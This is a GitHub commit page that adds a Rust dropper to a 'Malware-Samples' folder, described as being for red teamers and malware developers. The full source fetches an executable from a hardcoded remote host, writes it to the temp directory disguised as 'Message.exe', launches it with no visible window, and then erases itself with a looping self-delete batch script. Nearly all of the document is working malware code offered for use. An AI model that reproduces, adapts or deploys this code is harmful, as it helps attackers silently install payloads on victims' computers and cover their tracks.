Skip to content

Commit 26a2e12

Browse files
committed
Dropper
Dropper for redteamers, malware developers
1 parent 879e1c2 commit 26a2e12

File tree

3 files changed

+146
-0
lines changed

3 files changed

+146
-0
lines changed

Malware-Samples/dropper/Cargo.toml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
[package]
2+
name = "dropper"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
futures-util = "0.3.30"
8+
reqwest = {version= "0.12.5", features = ["blocking", "stream"]}
9+
tokio = {version = "1.38.0", features= ["full"]}
10+
widestring = "1.1.0"
11+
winapi = { version = "0.3.9", features = ["winuser","setupapi","wlanapi","winnls","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }

Malware-Samples/dropper/README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
## Rust Dropper
2+
3+
This is an Dropper it can be used to drop the main executable file at temp/ dir and execute it in the background process by using CreateProcess WINAPI and deletes the dropper Permanently.
4+
5+
By [5mukx](https://x.com/5mukx)

Malware-Samples/dropper/src/main.rs

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
use futures_util::StreamExt;
2+
use tokio::fs::File;
3+
use tokio::io::AsyncWriteExt;
4+
use reqwest::Client;
5+
use winapi::um::errhandlingapi::GetLastError;
6+
use std::env::{self, temp_dir};
7+
use std::io::{self, Write};
8+
use std::path::PathBuf;
9+
use std::process::Command;
10+
use std::ptr::null_mut;
11+
use std::thread;
12+
use std::time::Duration;
13+
use winapi::um::processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW};
14+
use winapi::um::winbase::CREATE_NO_WINDOW;
15+
use widestring::WideCString;
16+
use winapi::um::handleapi::CloseHandle;
17+
18+
#[tokio::main]
19+
async fn main() {
20+
// Replace your URL
21+
let url = "http://192.168.102.134:8080/test.exe";
22+
23+
// Here mention your File name
24+
let temp_path: PathBuf = temp_dir().join("Message.exe");
25+
26+
let client = Client::new();
27+
28+
match download_file(&client, url, &temp_path).await{
29+
Ok(_) => {
30+
println!("File downloaded successfully.");
31+
32+
if execute_file(&temp_path).await {
33+
println!("Executed Successfully");
34+
} else {
35+
println!("Unable to execute the File");
36+
}
37+
}
38+
Err(e) => println!("Failed to download the file: {:?}", e),
39+
}
40+
41+
del_dropper().expect("Error while Deleting dropper");
42+
}
43+
44+
async fn download_file(client: &Client, url: &str, path: &std::path::Path) -> Result<(), Box<dyn std::error::Error>> {
45+
let response = client.get(url).send().await?;
46+
47+
if response.status().is_success() {
48+
let mut file = File::create(path).await?;
49+
let mut stream = response.bytes_stream();
50+
51+
while let Some(chunk) = stream.next().await {
52+
let chunk = chunk?;
53+
file.write_all(&chunk).await?;
54+
}
55+
56+
Ok(())
57+
} else {
58+
Err(Box::new(std::io::Error::new(
59+
std::io::ErrorKind::Other,
60+
format!("Failed to download file: HTTP {}", response.status()),
61+
)))
62+
}
63+
}
64+
65+
async fn execute_file(path: &std::path::Path) -> bool {
66+
let exe_path = WideCString::from_str(path.to_string_lossy()).unwrap();
67+
68+
let mut si: STARTUPINFOW = unsafe { std::mem::zeroed() };
69+
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
70+
71+
let mut pi = PROCESS_INFORMATION {
72+
hProcess: null_mut(),
73+
hThread: null_mut(),
74+
dwProcessId: 0,
75+
dwThreadId: 0,
76+
};
77+
78+
let result = unsafe {
79+
CreateProcessW(
80+
null_mut(),
81+
exe_path.into_raw(),
82+
null_mut(),
83+
null_mut(),
84+
false as i32,
85+
CREATE_NO_WINDOW,
86+
null_mut(),
87+
null_mut(),
88+
&mut si,
89+
&mut pi,
90+
)
91+
};
92+
93+
if result != 0 {
94+
unsafe {
95+
CloseHandle(pi.hProcess);
96+
CloseHandle(pi.hThread);
97+
}
98+
true
99+
} else {
100+
let error_code = unsafe { GetLastError() };
101+
println!("Failed to execute file in the background. Error code: {}", error_code);
102+
false
103+
}
104+
105+
}
106+
107+
fn del_dropper() -> io::Result<()>{
108+
let exe_path = env::current_exe()?.display().to_string();
109+
let batch_content = format!(
110+
"@echo off\n\
111+
:loop\n\
112+
del \"{}\" > NUL 2>&1\n\
113+
if exist \"{}\" goto loop\n\
114+
del \"%~f0\"",
115+
exe_path, exe_path
116+
);
117+
118+
let batch_file = temp_dir().join("self_delelte.bat");
119+
let mut file = std::fs::File::create(batch_file.clone())?;
120+
121+
file.write_all(batch_content.as_bytes())?;
122+
123+
Command::new("cmd")
124+
.args(&["/C", batch_file.to_str().expect("Error")])
125+
.spawn()?;
126+
127+
thread::sleep(Duration::from_secs(1));
128+
129+
Ok(())
130+
}

0 commit comments

Comments
 (0)